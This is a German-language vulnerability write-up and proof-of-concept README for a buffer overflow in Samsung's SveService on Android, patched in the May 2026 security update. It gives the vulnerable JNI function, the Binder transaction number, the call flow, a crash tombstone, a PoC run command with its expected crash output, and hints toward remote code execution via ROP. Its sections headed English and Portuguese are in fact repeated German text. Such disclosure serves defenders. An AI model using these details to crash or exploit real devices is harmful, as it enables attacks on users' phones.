SveService Pufferüberlauf

Samsung SMR May 2026

SVE-2026-0478(CVE-2026-21018)

Betroffene Versionen: Android 14, 15, 16

Offenlegungsstatus: Privat offengelegt

Ein Out-of-Bounds-Schreibzugriff in SveService vor SMR May-2026 Release 1 ermöglicht lokalen privilegierten Angreifern die Ausführung beliebigen Codes.

Der Patch fügt eine ordnungsgemäße Eingabevalidierung hinzu.

Warnung: Dies ist ein Proof-of-Concept (PoC) nur für Bildungszwecke. Ich bin nicht verantwortlich für alles, was du tust, das nicht dem Lernen dient. Du bist gewarnt.

Getestet auf einem Galaxy A17 LTE (SM-A175F)

English

Zusammenfassung

Pufferüberlauf-Schwachstelle im Systemdienst SveService (com.sec.sve) auf Samsung-Geräten mit Android 16. Der Dienst läuft als system (UID 1000) und ist über Binder ohne besondere Berechtigung erreichbar.

Komponenten

Die Schwachstelle

In sveJNISVE_SetCodecInfo (libsvejni.so:0x21710) werden die Parameter i18, i19, i20 (aus der AIDL als i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38 empfangen) direkt an memset, sub sp, sp, xN (alloca) und memcpy übergeben, ohne jegliche Größenvalidierung.

Ähnliche Funktionen (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) validieren mit cmp w20, #0x1e; b.gt (lehnen > 30 Bytes ab). SetCodecInfo validiert überhaupt nicht.

Aufrufablauf

App/Script
  → ServiceManager.getService("SveService")
  → transact(38, parcel, ...)
  → ISecVideoEngineService$Stub.onTransact()
  → SecVideoEngineImpl.sveSetCodecInfo()
  → SveJniProxy.sveJNISVE_SetCodecInfo()
  → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
       ├── memset(dst, 0, i18)
       ├── sub sp, sp, (i19+15)&~15
       ├── memset(dst, 0, i19)
       ├── sub sp, sp, (i20+15)&~15
       ├── memset(dst, 0, i20)
       ├── memcpy(dst, src, i18)
       ├── memcpy(dst, src, i19)
       └── memcpy(dst, src, i20)

Werte mit -1 (0xFFFFFFFF)

Absturznachweis (Tombstone 07)

Cause: stack pointer is in a non-existent map; likely due to stack overflow.
signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)

#00  __memset_aarch64+160       libc.so
#01  sveJNISVE_SetCodecInfo+504 libsvejni.so (offset 0x21908)

x2  00000000ffffffff   ← memset count = 4GB
x24 00000000ffffffff   ← i18 = -1
sp  000000707f5f7610   ← SP in invalid region
x29 000000717f5f7710   ← original frame pointer

PoC

cd poc
./build_and_run.sh

Erwartete Ausgabe:

[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed

Hinweise

• Kein Root erforderlich: ServiceManager.getService() über app_process funktioniert mit der Shell-UID.
• Berechtigungsumgehung: Die Berechtigung signatureOrSystem wird NICHT durchgesetzt — der Dienst wird direkt über ServiceManager.addService() registriert und umgeht damit den Android-Berechtigungsmechanismus.
• Absturz unvermeidbar: memset mit 0xFFFFFFFF führt immer zu einem Absturz. Für RCE wären ein Address-Leak + ROP erforderlich (PAC auf dem SM-A175F nicht vorhanden).

Português

Zusammenfassung

Pufferüberlauf-Schwachstelle im Systemdienst SveService (com.sec.sve) auf Samsung-Geräten mit Android 16. Der Dienst läuft als system (UID 1000) und ist über Binder ohne besondere Berechtigung erreichbar.

Komponenten

Die Schwachstelle

In sveJNISVE_SetCodecInfo (libsvejni.so:0x21710) werden die Parameter i18, i19, i20 (aus der AIDL als i106/i107/i108, TRANSACTION_sveSetCodecInfo = 38 empfangen) direkt als Argumente für memset, sub sp, sp, xN (alloca) und memcpy verwendet, ohne jegliche Größenvalidierung.

Andere ähnliche Funktionen (GetVersion, EnableSRTP, SetSRTPParams, SetGcmSrtpParams) validieren mit cmp w20, #0x1e; b.gt (lehnen > 30 Bytes ab). SetCodecInfo validiert nichts.

Aufrufablauf

App/Script
  → ServiceManager.getService("SveService")
  → transact(38, parcel, ...)
  → ISecVideoEngineService$Stub.onTransact()
  → SecVideoEngineImpl.sveSetCodecInfo()
  → SveJniProxy.sveJNISVE_SetCodecInfo()
  → libsvejni.so: Java_com_samsung_sve_sveJNI_sveJNISVE_SetCodecInfo
       ├── memset(dst, 0, i18)
       ├── sub sp, sp, (i19+15)&~15
       ├── memset(dst, 0, i19)
       ├── sub sp, sp, (i20+15)&~15
       ├── memset(dst, 0, i20)
       ├── memcpy(dst, src, i18)
       ├── memcpy(dst, src, i19)
       └── memcpy(dst, src, i20)

Werte mit -1 (0xFFFFFFFF)

PoC

cd poc
./build_and_run.sh

Erwartete Ausgabe:

[*] Phase 1: valid call (1,1,1)...
[+] Returned: 0
[*] Phase 2: i106=-1...
[!] Exception: DeadObjectException: null
[+] SveService CRASHED - overflow confirmed

Hinweise

• Kein Root erforderlich: ServiceManager.getService() über app_process funktioniert mit der Shell-UID.
• Berechtigung: Die Berechtigung signatureOrSystem wird NICHT durchgesetzt — der Dienst wird direkt über ServiceManager.addService() registriert und umgeht die Berechtigungsprüfung.
• Absturz unvermeidbar: memset mit 0xFFFFFFFF stürzt immer ab. Für RCE wären ein Address-Leak + ROP erforderlich (PAC auf dem SM-A175F nicht vorhanden).